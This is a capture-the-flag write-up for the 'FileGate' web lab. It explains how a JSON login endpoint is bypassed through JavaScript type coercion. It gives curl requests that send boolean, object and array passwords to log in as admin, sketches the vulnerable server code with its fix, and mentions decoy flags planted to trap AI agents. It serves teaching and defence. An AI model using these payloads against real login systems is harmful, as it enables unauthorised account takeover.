Lab 16 — FileGate — Authentication Bypass in API Login
Lab 16 — FileGate — Authentication Bypass in API Login
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: boolean_password_injection, honeypot_flag_detection, javascript_type_coercion_bypass, json_type_abuse, session_hijacking
Summary
Task: File storage platform with JSON API login endpoint vulnerable to JavaScript type coercion in password comparison. Solution: Send boolean true as password in JSON body to bypass authentication via loose comparison, then access admin config page for the flag.
Lab 16 — FileGate — Authentication Bypass in API Login — hackadvisor
Description
FileGate is a secure file storage and sharing platform for development teams. The platform features file management, team collaboration, granular access controls, and an admin configuration panel. The application has both a traditional web login form and a JSON API login endpoint. The objective is to bypass authentication and gain admin access. The flag is displayed on the admin configuration page (/admin/config). Hint: "Think about how JavaScript's type coercion might affect password comparison."
English summary: Secure file storage platform with Express.js backend. Two login mechanisms: form-based POST to /login and JSON API at /api/auth/login. Goal is to bypass admin authentication and access /admin/config to retrieve the flag. Test credentials provided: user@test.com / password123, admin email: admin@filegate.io.
Analysis
-
Reconnaissance: The application runs on Express.js (revealed by
X-Powered-By: Expressheader). The main page redirects to/login. Every HTML page contains decoy honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in HTML comments and hidden divs — designed to trick automated scanners and AI agents. These are fake and were correctly ignored. -
Two login endpoints discovered:
POST /login— traditional form-based login (application/x-www-form-urlencoded)POST /api/auth/login— JSON API endpoint (application/json)
-
Test credentials work: Logging in as
user@test.com/password123via either endpoint succeeds, returning a session cookie (connect.sid) and confirming the user is "Test User" with role "member". -
JSON API accepts arbitrary types: The critical difference between form-based and JSON API login is that JSON allows sending non-string types as field values. A form POST always sends strings, but JSON can encode booleans, arrays, objects, numbers, and null.
-
Vulnerability — Loose comparison / truthy check: The server-side password verification likely uses JavaScript loose comparison (
==) or a simple truthy check (if (password)) rather than strict string comparison. Whenpassword: trueis sent:true == "any_non_empty_string"evaluates totruein JavaScript (both are truthy, and==coerces types)- A simple
if (password)check passes sincetrueis truthy - This bypasses the actual password hash/string comparison entirely
-
Multiple bypass vectors confirmed:
password: true(boolean) → SUCCESS — primary intended vulnerabilitypassword: {"$ne": ""}(NoSQL-style object) → SUCCESS — secondary vectorpassword: [](empty array) → SUCCESS — tertiary vectorpassword: 0(number zero) → FAILED — falsy value rejectedpassword: null→ FAILED — null triggers "Email and password are required" validation
Solution
Step 1: Identify the JSON API endpoint
Test that the API endpoint exists and accepts JSON:
bash read-only • copy allowedcurl -s -X POST "https://ba5156c4-db29-4d8b-b9aa-1ce1a448d28a.labs.hackadvisor.io/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"user@test.com","password":"password123"}'
Response:
json read-only • copy allowed{"success": true, "user": {"id": 2, "name": "Test User", "email": "user@test.com", "role": "member"}}
Step 2: Type coercion bypass — Send boolean true as password
bash read-only • copy allowedcurl -s -X POST "https://ba5156c4-db29-4d8b-b9aa-1ce1a448d28a.labs.hackadvisor.io/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"admin@filegate.io","password":true}' \ -c cookies.txt
Response:
json read-only • copy allowed{"success": true, "user": {"id": 1, "name": "Admin", "email": "admin@filegate.io", "role": "admin"}}
The boolean true bypasses the password check entirely due to JavaScript type coercion.
Step 3: Access admin configuration page with the session cookie
bash read-only • copy allowedcurl -s -b cookies.txt \ "https://ba5156c4-db29-4d8b-b9aa-1ce1a448d28a.labs.hackadvisor.io/admin/config"
The /admin/config page displays a System Configuration table. The flag is in the master_api_key row.
Why this works — JavaScript type coercion explained
The vulnerable server code likely resembles:
javascript read-only • copy allowed// Vulnerable: loose comparison or truthy check app.post('/api/auth/login', (req, res) => { const { email, password } = req.body; const user = findUserByEmail(email); // BAD: truthy check instead of string comparison if (user && password) { // or BAD: loose comparison → true == "actualPassword123" → true req.session.user = user; return res.json({ success: true, user }); } });
The fix would be to validate that password is a string before comparison:
javascript read-only • copy allowedif (typeof password !== 'string') { return res.status(400).json({ error: 'Password must be a string' }); } // Then use strict comparison with bcrypt.compare() or similar